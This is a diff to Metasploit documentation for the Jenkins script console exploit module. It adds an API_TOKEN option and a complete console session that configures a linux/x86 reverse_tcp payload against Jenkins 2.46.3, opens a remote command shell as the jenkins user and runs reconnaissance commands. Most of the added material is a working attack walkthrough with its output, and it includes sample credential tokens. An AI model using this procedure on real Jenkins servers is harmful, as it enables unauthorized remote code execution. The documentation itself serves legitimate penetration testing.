|
36 | 36 |
|
37 | 37 | A password to an account that has access to the script console. This is only
|
38 | 38 | necessary if the Jenkins instance has been configured to require
|
39 |
| - authentication. |
| 39 | + authentication and you aren't using an API_TOKEN (see below). |
| 40 | + |
| 41 | + **API_TOKEN** |
| 42 | + |
| 43 | + An API token to an account that has access to the script console. This is only |
| 44 | + necessary if the Jenkins instance has been configured to require |
| 45 | + authentication and you aren't using a PASSWORD (see above). |
40 | 46 |
|
41 | 47 | ## Scenarios
|
42 | 48 |
|
|
128 | 134 | meterpreter >
|
129 | 135 |
|
130 | 136 | ```
|
| 137 | + |
| 138 | + Example usage against a Linux x64 bit target running Jenkins 2.46.3. |
| 139 | + |
| 140 | + ``` |
| 141 | + msf > use exploit/multi/http/jenkins_script_console |
| 142 | + msf exploit(jenkins_script_console) > set RHOST 172.17.0.1 |
| 143 | + RHOST => 172.17.0.1 |
| 144 | + msf exploit(jenkins_script_console) > set RPORT 8080 |
| 145 | + RPORT => 8080 |
| 146 | + msf exploit(jenkins_script_console) > set TARGETURI / |
| 147 | + TARGETURI => / |
| 148 | + msf exploit(jenkins_script_console) > set USERNAME admin |
| 149 | + USERNAME => admin |
| 150 | + msf exploit(jenkins_script_console) > set API_TOKEN 24e0b80d009ed12590ff85866d88c00d |
| 151 | + API_TOKEN => 24e0b80d009ed12590ff85866d88c00d |
| 152 | + msf exploit(jenkins_script_console) > set TARGET 1 |
| 153 | + TARGET => 1 |
| 154 | + msf exploit(jenkins_script_console) > set PAYLOAD linux/x86/shell/reverse_tcp |
| 155 | + PAYLOAD => linux/x86/shell/reverse_tcp |
| 156 | + msf exploit(jenkins_script_console) > set LHOST 10.0.2.4 |
| 157 | + LHOST => 10.0.2.4 |
| 158 | + msf exploit(jenkins_script_console) > exploit |
| 159 | +
|
| 160 | + [*] Started reverse TCP handler on 10.0.2.4:4444 |
| 161 | + [*] Checking access to the script console |
| 162 | + [*] Authenticating with token... |
| 163 | + [*] Using CSRF token: 'd41639a6f5721760a8ee3df5d6a71eec' (Jenkins-Crumb style) |
| 164 | + [*] 172.17.0.1:8080 - Sending Linux stager... |
| 165 | + [*] Sending stage (36 bytes) to 172.17.0.2 |
| 166 | + [*] Command shell session 1 opened (10.0.2.4:4444 -> 172.17.0.2:53962) at 2017-06-19 16:55:42 -0500 |
| 167 | + [!] Deleting /tmp/AsqL5Pg payload file |
| 168 | +
|
| 169 | + whoami |
| 170 | + jenkins |
| 171 | + id |
| 172 | + uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins) |
| 173 | + uname -a |
| 174 | + Linux b4b4e715101e 4.4.0-79-generic #100-Ubuntu SMP Wed May 17 19:58:14 UTC 2017 x86_64 GNU/Linux |
| 175 | + ``` |
0 commit comments